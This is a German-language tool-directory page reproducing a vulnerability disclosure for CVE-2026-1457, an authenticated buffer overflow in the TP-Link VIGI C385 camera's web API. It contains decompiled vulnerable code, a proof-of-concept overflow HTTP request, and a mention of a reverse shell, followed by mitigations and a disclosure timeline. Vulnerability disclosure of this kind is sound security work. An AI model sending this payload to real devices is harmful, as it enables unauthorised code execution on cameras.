Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Einreichen
ToolsExploitsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

FeedsKontaktDatenschutz© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2026-1457 — Stellt eine detaillierte Analyse und einen Proof-of-Concept für CVE-2026-1457 bereit, einen authentifizierten Pufferüberlauf in der TP-Link VIGI C385 Web-API, der zu Remote-Code-Ausführung führt. | Kitploit
Tools/GitHubGitHub/ii4gsp/cve-2026-1457
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstestsRemote-Access-ToolBinary-Exploitation
GitHubii4gsp/cve-2026-1457

CVE-2026-1457

Stellt eine detaillierte Analyse und einen Proof-of-Concept für CVE-2026-1457 bereit, einen authentifizierten Pufferüberlauf in der TP-Link VIGI C385 Web-API, der zu Remote-Code-Ausführung führt.

Repository anzeigen
22vor 8 MonatenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2026-1457: TP-Link VIGI C385 Authentifizierte Remote-Codeausführung

Überblick

CVE-2026-1457 ist eine authentifizierte Pufferüberlauf-Schwachstelle in der Web-API des TP-Link VIGI C385 V1. Diese Schwachstelle ermöglicht es authentifizierten Angreifern, Remote-Codeausführung (RCE) durchzuführen.

CVSS v4.0-Score: 8.5 (Hoch)

CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Betroffene Produkte

ProduktmodellBetroffene Version
VIGI C385 V1< 3.1.1 Build 251124 Rel.50371n

Schwachstellendetails

Schwachstellenort

Die Funktion set_resolution_18AAD8 verwendet strcpy, um Benutzereingaben ohne Längenvalidierung in einen Puffer zu kopieren, was zu einem Pufferüberlauf führt.

Analyse des Schwachstellencodes

int __fastcall set_resolution_18AAD8(int a1, char a2)
{
  const char *string_origin; // r5
  const char *v4; // r4
  int result; // r0
  char v6[72]; // [sp+0h] [bp-A0h] BYREF
  char v7[88]; // [sp+48h] [bp-58h] BYREF

  memset(v6, 0, sizeof(v6));
  memset(v7, 0, 72);
  string_origin = jso_obj_get_string_origin(a2, (char)"secname");
  v4 = jso_obj_get_string_origin(a2, (char)"resolution");
  sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
  sub_1FE6BC((int)"/video/minor", (int)v7, 0x44u);
  if ( !strcmp(string_origin, "main") )
  {
    result = strcmp(v4, &v6[29]);
    if ( result )                               // true if v4 is greater than &v6[29]
    {
      sub_1FE6BC((int)"/video/main", (int)v6, 0x48u);
      strcpy(&v6[29], v4);                      // ⚠️ buffer overflow
      sub_1FE804("/video/main", v6, 72);
      return 0;
    }
  }
  else if ( !strcmp(string_origin, "minor") )
  {
    result = strcmp(v4, &v7[29]);
    if ( result )
    {
      sub_1FE6BC((int)"/video/minor", (int)v7, 0x48u);
      strcpy(&v7[29], v4);                      // ⚠️ buffer overflow
      sub_1FE804("/video/minor", v7, 72);
      return 0;
    }
  }
  else
  {
    msg_debug(3, "http_do_setResolution", 3137, "[HTTPD]set resolution param error.\n");
    return -40209;
  }
  return result;
}

Grundursache

  1. Der Puffer v6 ist als 72 Bytes deklariert, aber strcpy wird an Position &v6[29] ausgeführt.
  2. Der Puffer v7 ist als 88 Bytes deklariert, aber strcpy wird an Position &v7[29] ausgeführt.
  3. Die Benutzereingabe (v4) wird vor der Verwendung von strcpy nicht auf Länge validiert, was einen Pufferüberlauf verursacht.
  4. Der verbleibende Pufferspeicher beträgt nur 43 Bytes (v6) bzw. 59 Bytes (v7), aber längere Zeichenfolgen können kopiert werden.

Angriffsszenario

Voraussetzungen

  • Authentifizierte Sitzung (gültiges stok-Token erforderlich)
  • Netzwerkzugriff (gleiches Netzwerk oder administratives Netzwerk)

Angriffsvektor

Ein Angreifer kann die set_resolution-Funktionalität des /ds-Endpunkts ausnutzen, um bösartige Payloads zu senden.

Proof of Concept

HTTP-Anfragebeispiel

POST /stok=9p73~f9L0fGs33wt3D3XDc)7u)!wt83f/ds HTTP/1.1
Host: 192.168.0.100
Content-Length: 3015
Content-Type: application/json; charset=UTF-8
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
Origin: https://192.168.0.100
Connection: close

{
  "video": {
    "set_resolution": {
      "secname": "main",
      "resolution": "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
    }
  },
  "method": "do"
}

Exploit-Ergebnis

Dieses Dokument enthält keinen ausführbaren Exploit-Code. Der folgende Screenshot demonstriert eine erfolgreiche Ausnutzung, die zu einer Reverse-Shell-Verbindung führt:

Reverse Shell Success

Gegenmaßnahmen

Empfohlene Maßnahmen

  1. Firmware-Update: Aktualisieren Sie betroffene Geräte auf Version 3.1.1 Build 251124 Rel.50371n oder neuer.

  2. Netzwerkisolierung: Platzieren Sie VIGI-C385-Geräte nach Möglichkeit in einem isolierten Netzwerksegment.

  3. Zugriffskontrolle: Beschränken Sie den Zugriff auf die Verwaltungsoberfläche auf vertrauenswürdige Netzwerke.

  4. Überwachung: Überwachen Sie auf abnormalen Netzwerkverkehr oder ungewöhnliches Geräteverhalten.

Temporäre Gegenmaßnahmen

  • Blockieren Sie externen Zugriff auf die Web-Verwaltungsoberfläche.
  • Verwenden Sie starke Authentifizierungsdaten.
  • Deaktivieren Sie unnötige Netzwerkdienste.

Zeitplan

  • 2025-04-25: Schwachstelle entdeckt
  • 2025-08-29: Schwachstelle an TP-Link gemeldet
  • 2026-01-29: Sicherheitshinweis veröffentlicht
  • 2026-01-29: Öffentliche Offenlegung

Referenzen

  • TP-Link-Sicherheitshinweis
  • CVE-2026-1457

Danksagungen

Diese Schwachstelle wurde entdeckt und analysiert von:

  • SeonGoo Lee (classun9)
  • MinSeong Kim (ii4gsp)

von NSHC RedAlert Labs

Tool herunterladen